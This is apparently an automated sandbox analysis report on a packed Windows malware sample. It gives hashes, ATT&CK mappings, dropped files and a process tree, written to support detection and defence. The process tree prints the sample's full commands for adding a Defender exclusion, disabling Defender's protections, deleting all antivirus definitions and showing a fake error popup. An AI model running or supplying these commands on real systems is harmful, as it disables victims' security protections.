f14036ddb505854e776c9f755e8a7925e1af3048f0d0e2b8a5056b3931a1e51e

Analysis

max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 31.0MB
Sample260815-prswaaxtb1
SHA256 f14036ddb505854e776c9f755e8a7925e1af3048f0d0e2b8a5056b3931a1e51e
MD5 19e3bfd5742c78ad6de79133a19ae251
SHA1 8e582340a9ba1422fab2d20298bb689b1622d878
SHA512 4196f9c951d68ee557d7dcfaf7883244bd29f242364aafafcc5180d68f240b6b1969d354205f7c8e62f6a9edb59034ab758fdf850e4f183b9f03bf102c80c182
SSDEEP 98304:waNzdbM+Q2y+ujOjFgFQlwq4Mjk+dBZtu9xTtwzGaer6/BbV2eIbEJ1YPGkhBVt1:waPOOjmFQR4MVGFtwKPUYPGkhzH
TLSH
T1D26733DA6BA00AF4E4B78139D182C657C735B52A07A8CA4F07B452A54F633D39C3FB52
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
5960	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4540	powershell.exe
3696	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4540	powershell.exe

Loads dropped DLL 17 IoCs

pid	Process
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
5624	tasklist.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c549-21.dat	upx
behavioral2/memory/988-24-0x00007FFD0D510000-0x00007FFD0DAF9000-memory.dmp	upx
behavioral2/files/0x001000000001c435-27.dat	upx
behavioral2/memory/988-30-0x00007FFD20150000-0x00007FFD20173000-memory.dmp	upx
behavioral2/files/0x000c00000001c547-29.dat	upx
behavioral2/memory/988-33-0x00007FFD20140000-0x00007FFD2014F000-memory.dmp	upx
behavioral2/files/0x000d00000001c541-38.dat	upx
behavioral2/memory/988-40-0x00007FFD20110000-0x00007FFD2013D000-memory.dmp	upx
behavioral2/files/0x000300000001b805-41.dat	upx
behavioral2/memory/988-44-0x00007FFD200F0000-0x00007FFD20109000-memory.dmp	upx
behavioral2/files/0x000c00000001c544-43.dat	upx
behavioral2/files/0x000c00000001c54d-46.dat	upx
behavioral2/memory/988-47-0x00007FFD200C0000-0x00007FFD200E3000-memory.dmp	upx
behavioral2/memory/988-49-0x00007FFD10B60000-0x00007FFD10CD0000-memory.dmp	upx
behavioral2/files/0x000c00000001c543-51.dat	upx
behavioral2/memory/988-53-0x00007FFD200A0000-0x00007FFD200B9000-memory.dmp	upx
behavioral2/files/0x000c00000001c54c-52.dat	upx
behavioral2/memory/988-56-0x00007FFD20090000-0x00007FFD2009D000-memory.dmp	upx
behavioral2/files/0x000c00000001c548-60.dat	upx
behavioral2/memory/988-63-0x00007FFD18300000-0x00007FFD183B8000-memory.dmp	upx
behavioral2/memory/988-62-0x00007FFD0D510000-0x00007FFD0DAF9000-memory.dmp	upx
behavioral2/files/0x000c00000001c546-65.dat	upx
behavioral2/memory/988-66-0x00007FFD20150000-0x00007FFD20173000-memory.dmp	upx
behavioral2/files/0x001100000001c53f-68.dat	upx
behavioral2/files/0x000c00000001c54e-71.dat	upx
behavioral2/files/0x000d00000001c542-70.dat	upx
behavioral2/memory/988-73-0x00007FFD0D190000-0x00007FFD0D509000-memory.dmp	upx
behavioral2/memory/988-77-0x00007FFD1FC30000-0x00007FFD1FC44000-memory.dmp	upx
behavioral2/memory/988-76-0x00007FFD0FA60000-0x00007FFD0FB7C000-memory.dmp	upx
behavioral2/memory/988-75-0x00007FFD1F8F0000-0x00007FFD1F8FD000-memory.dmp	upx
behavioral2/memory/988-59-0x00007FFD20060000-0x00007FFD2008E000-memory.dmp	upx
behavioral2/files/0x000c00000001c545-57.dat	upx
behavioral2/memory/988-95-0x00007FFD200C0000-0x00007FFD200E3000-memory.dmp	upx
behavioral2/memory/988-96-0x00007FFD10B60000-0x00007FFD10CD0000-memory.dmp	upx
behavioral2/memory/988-97-0x00007FFD200A0000-0x00007FFD200B9000-memory.dmp	upx
behavioral2/memory/988-98-0x00007FFD20060000-0x00007FFD2008E000-memory.dmp	upx
behavioral2/memory/988-100-0x00007FFD20150000-0x00007FFD20173000-memory.dmp	upx
behavioral2/memory/988-114-0x00007FFD18300000-0x00007FFD183B8000-memory.dmp	upx
behavioral2/memory/988-99-0x00007FFD0D510000-0x00007FFD0DAF9000-memory.dmp	upx
behavioral2/memory/988-115-0x00007FFD0D190000-0x00007FFD0D509000-memory.dmp	upx
behavioral2/memory/988-132-0x00007FFD0D510000-0x00007FFD0DAF9000-memory.dmp	upx
behavioral2/memory/988-140-0x00007FFD20090000-0x00007FFD2009D000-memory.dmp	upx
behavioral2/memory/988-138-0x00007FFD10B60000-0x00007FFD10CD0000-memory.dmp	upx
behavioral2/memory/988-146-0x00007FFD0FA60000-0x00007FFD0FB7C000-memory.dmp	upx
behavioral2/memory/988-143-0x00007FFD0D190000-0x00007FFD0D509000-memory.dmp	upx
behavioral2/memory/988-145-0x00007FFD1F8F0000-0x00007FFD1F8FD000-memory.dmp	upx
behavioral2/memory/988-144-0x00007FFD1FC30000-0x00007FFD1FC44000-memory.dmp	upx
behavioral2/memory/988-141-0x00007FFD20060000-0x00007FFD2008E000-memory.dmp	upx
behavioral2/memory/988-139-0x00007FFD200A0000-0x00007FFD200B9000-memory.dmp	upx
behavioral2/memory/988-142-0x00007FFD18300000-0x00007FFD183B8000-memory.dmp	upx
behavioral2/memory/988-137-0x00007FFD200C0000-0x00007FFD200E3000-memory.dmp	upx
behavioral2/memory/988-136-0x00007FFD200F0000-0x00007FFD20109000-memory.dmp	upx
behavioral2/memory/988-135-0x00007FFD20110000-0x00007FFD2013D000-memory.dmp	upx
behavioral2/memory/988-134-0x00007FFD20140000-0x00007FFD2014F000-memory.dmp	upx
behavioral2/memory/988-133-0x00007FFD20150000-0x00007FFD20173000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4252	cmd.exe
108	cmd.exe
1536	cmd.exe
3660	cmd.exe
5716	cmd.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3696	powershell.exe
3696	powershell.exe
4540	powershell.exe
4540	powershell.exe
3696	powershell.exe
4540	powershell.exe
2812	WMIC.exe
2812	WMIC.exe
2812	WMIC.exe
2812	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5624	tasklist.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	2812	WMIC.exe
Token: SeSecurityPrivilege	2812	WMIC.exe
Token: SeTakeOwnershipPrivilege	2812	WMIC.exe
Token: SeLoadDriverPrivilege	2812	WMIC.exe
Token: SeSystemProfilePrivilege	2812	WMIC.exe
Token: SeSystemtimePrivilege	2812	WMIC.exe
Token: SeProfSingleProcessPrivilege	2812	WMIC.exe
Token: SeIncBasePriorityPrivilege	2812	WMIC.exe
Token: SeCreatePagefilePrivilege	2812	WMIC.exe
Token: SeBackupPrivilege	2812	WMIC.exe
Token: SeRestorePrivilege	2812	WMIC.exe
Token: SeShutdownPrivilege	2812	WMIC.exe
Token: SeDebugPrivilege	2812	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2812	WMIC.exe
Token: SeRemoteShutdownPrivilege	2812	WMIC.exe
Token: SeUndockPrivilege	2812	WMIC.exe
Token: SeManageVolumePrivilege	2812	WMIC.exe
Token: 33	2812	WMIC.exe
Token: 34	2812	WMIC.exe
Token: 35	2812	WMIC.exe
Token: 36	2812	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2812	WMIC.exe
Token: SeSecurityPrivilege	2812	WMIC.exe
Token: SeTakeOwnershipPrivilege	2812	WMIC.exe
Token: SeLoadDriverPrivilege	2812	WMIC.exe
Token: SeSystemProfilePrivilege	2812	WMIC.exe
Token: SeSystemtimePrivilege	2812	WMIC.exe
Token: SeProfSingleProcessPrivilege	2812	WMIC.exe
Token: SeIncBasePriorityPrivilege	2812	WMIC.exe
Token: SeCreatePagefilePrivilege	2812	WMIC.exe
Token: SeBackupPrivilege	2812	WMIC.exe
Token: SeRestorePrivilege	2812	WMIC.exe
Token: SeShutdownPrivilege	2812	WMIC.exe
Token: SeDebugPrivilege	2812	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2812	WMIC.exe
Token: SeRemoteShutdownPrivilege	2812	WMIC.exe
Token: SeUndockPrivilege	2812	WMIC.exe
Token: SeManageVolumePrivilege	2812	WMIC.exe
Token: 33	2812	WMIC.exe
Token: 34	2812	WMIC.exe
Token: 35	2812	WMIC.exe
Token: 36	2812	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4708 wrote to memory of 988	4708	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	89
PID 988 wrote to memory of 5716	988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	90
PID 988 wrote to memory of 3660	988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	91
PID 988 wrote to memory of 1536	988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	92
PID 988 wrote to memory of 4252	988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	96
PID 4252 wrote to memory of 5624	4252	cmd.exe	98
PID 5716 wrote to memory of 3696	5716	cmd.exe	99
PID 3660 wrote to memory of 4540	3660	cmd.exe	100
PID 988 wrote to memory of 108	988	2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe	101
PID 1536 wrote to memory of 5660	1536	cmd.exe	104
PID 108 wrote to memory of 2812	108	cmd.exe	105
PID 3660 wrote to memory of 5960	3660	cmd.exe	107

C:\Users\Admin\AppData\Local\Temp\2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Users\Admin\AppData\Local\Temp\2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-08-15_19e3bfd5742c78ad6de79133a19ae251_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4540
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:5960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your version(s) of HTML, and Python are Incorrect!', 0, 'Error:', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Your version(s) of HTML, and Python are Incorrect!', 0, 'Error:', 0+16);close()"
      4⤵
      PID:5660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:108
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2812

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Process Discovery

T1057

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
MD5 66f9b690d4e5313231bc173ce7b2c029
SHA1 b0dbce2f97d8ca067ddde29c06272e56e38fa195
SHA512 8f0c4c220fc64928778bf68c853246126b44f40fcdc99aa2fdaa491797ce02783c8776fdd7bd3154544336f0466000a8b92c740ed0d0df75b8a6990da450650e
TLSH
T158216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\VCRUNTIME140.dll
Size 106KB
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
SSDEEP 1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
TLSH
T1A0B37C4A72A441F7C5AAD274C2E38A06FB71B541877093CF03B19A690F63BE15E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_bz2.pyd
Size 48KB
SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
MD5 554b7b0d0daca993e22b7d31ed498bc2
SHA1 ea7f1823e782d08a99b437c665d86fa734fe3fe4
SHA512 4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a
SSDEEP 1536:MtiGgF1TxbYecfs2F876zpfImCVQj7SysPxJ:MkHz4LFPNImCVQjGxJ
TLSH
T1DD23D06386242C39ED239DB234C85C25EB30B9939850C3DF72AC91691F527417BE627E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_ctypes.pyd
Size 58KB
SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
MD5 d603c8bfe4cfc71fe5134d64be2e929b
SHA1 ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b
SHA512 fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361
SSDEEP 1536:/UOlRJUIp/i+OnIlnGgm5XVz4iImLPAf7SyNlPx:MOpnomlnGgoXVUiImLPAfPZx
TLSH
T1B643E1D642A5DC2CDC67CFB038D95825FD31B1A3C7B087D73289C22A6F6039256963B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_hashlib.pyd
Size 35KB
SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
MD5 32df18692606ce984614c7efda2eec27
SHA1 86084e39ab0aadf0ecfb82ce066b7bf14152961e
SHA512 679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d
SSDEEP 768:a91cXZ8iY8JshuVLX7lB6IKpp5rbImOIta5YiSyvCKPxWE9:ajSYZhuN3QlrbImOIt47Sy7Px
TLSH
T1F3F2C0A381B0B864CA224DB234D4D525F736785399938BE7314DC1BA4FD2782EFA5338
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_lzma.pyd
Size 85KB
SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
MD5 01629284f906c40f480e80104158f31a
SHA1 6ab85c66956856710f32aed6cdae64a60aea5f0f
SHA512 107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4
SSDEEP 1536:TwZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6Vvt7v/8ImZ1Lw7SyYAPxx3:kvA5utzWfXE0V0ZK+K+Jt7vUImZ1Lwtx
TLSH
T1968302670278C08CD4679D7221E8A5A6E670FE73875283FB3254817B0FB33D19A5327A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_queue.pyd
Size 25KB
SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
MD5 4a313dc23f9d0a1f328c74dd5cf3b9ab
SHA1 494f1f5ead41d41d324c82721ab7ca1d1b72c062
SHA512 42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e
SSDEEP 384:w0Psz9rLZgNhzHjlryUOy7s6Wp6hZa7gJXT7ImQUtNkHQIYiSy1pCQjtAPxh8E9s:GihFWRupD7ImQUtc5YiSyvxAPxWE9HJ
TLSH
T1D0C29EA342B8AC2CDD278EB134D44934FE30BDA7855183DB721C82764F6178267A2379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_socket.pyd
Size 43KB
SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
MD5 67897f8c3262aecb8c9f15292dd1e1f0
SHA1 74f1ef77dd3265846a504f98f2e2f080eadbf58a
SHA512 200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba
SSDEEP 768:EhFQ8MABQICFr2Tg+z2uPxYEV/WJqOxU/XNqppz7ImLwQFC5YiSyvLPxWE9dK:gTiFtipt/ML4NIz7ImLwQFg7SyTPxJK
TLSH
T16A13D0A743B05838DE374CB234E98D296F35F597899483D7329C81B64F513829FA23B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_sqlite3.pyd
Size 56KB
SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
MD5 230025cf18b0c20c5f4abba63d733ca8
SHA1 336248fde1973410a0746599e14485d068771e30
SHA512 2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1
SSDEEP 1536:F1OB9LTyHEhkBFl837aWkbKlujFImOQAO7SyuWPxJ:i/LTyHRTU1kuluZImOQAOfxJ
TLSH
T1E443D0E303BAAC24D53B88B235C50C29E6717A7A5B21C3EB326D91760F707816F65379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\_ssl.pyd
Size 62KB
SHA256 2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8
MD5 0d15b2fdfa03be76917723686e77823c
SHA1 efd799a4a5e4f9d15226584dd2ee03956f37bdaf
SHA512 e21ab5ebe8b97243cf32ca9181c311978e203852847e4beb5e6ada487038c37dec18a2b683e11e420e05ace014aca2172b2dda15930bab944053843e25623227
SSDEEP 1536:xzB+lCu0pTB1zYk0UdJSqtEZImC7b0E7SyZfPx:9cCu0pHzD0UFtWImC7bXbnx
TLSH
T12353F192476C5CAAD6338F7231C1DDB6FA31B9469FD68197300C93BE4B71382476226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\base_library.zip
Size 1.7MB
SHA256 4ab0deb6a298d14a0f50d55dc6ce5673b6c5320817ec255acf282191642a4576
MD5 ebb4f1a115f0692698b5640869f30853
SHA1 9ba77340a6a32af08899e7f3c97841724dd78c3f
SHA512 3f6ba7d86c9f292344f4ad196f4ae863bf936578dd7cfac7dc4aaf05c2c78e68d5f813c4ed36048b6678451f1717deeb77493d8557ee6778c6a70beb5294d21a
SSDEEP 24576:mQR5pATt7xm4lUKdcubgAnyfbas0iwhpM2dYf9P3sL3TWLdma0uHH7:mQR5pQxmmG+KLgaT
TLSH
T113852B817992B5B7F804F3BA4026090DB328C5F4FB40C75739AFC1A6AF9E6A46D518DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\blank.aes
Size 113KB
SHA256 aa6eb66777cc550ce0a77e52ccbbacffe4734649fde14757b70560d5c46bc015
MD5 3997cd48751c69f262d020d088462144
SHA1 c95146e278f7bf4ff6671b767f3197d11b1f1096
SHA512 1c46dd0ffb106091a453d2b9490946f2f794a1ac31a1e7c288c3e017714c6e7c09af446a3f13a267595487ca49f9cd1d5f540accdbd6cc278eb529d573168477
SSDEEP 3072:j2mSzFe/WNjKBK7E/JYjCnnhN+ElEh79BU6S:j21e/WEBKKJY2eElQU6S
TLSH
T1C1B3CF83B58AD63FF09BF3718C6A011EB3AAC5E0D35A8953765891539BD0B613D484EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI47082\blank.aes
Size 113KB
SHA256 cad892d5292cf40d0d2d23d4ad4750f953c18e92ce4321cfd1e292f7de81cfa6
MD5 cb8a9a4ce4fd801f1bf9b6ae7f365581
SHA1 116a1e9548af58960c328f9c245dc39820813b8f
SHA512 298f11e66abed900b84122c7111b260f2406147794ee88eb40debf7847ac0e44ec9b450ca31603f5ce30669439370fe5a450ba5c81a9e45ddc97dcbc6b5ff4cd
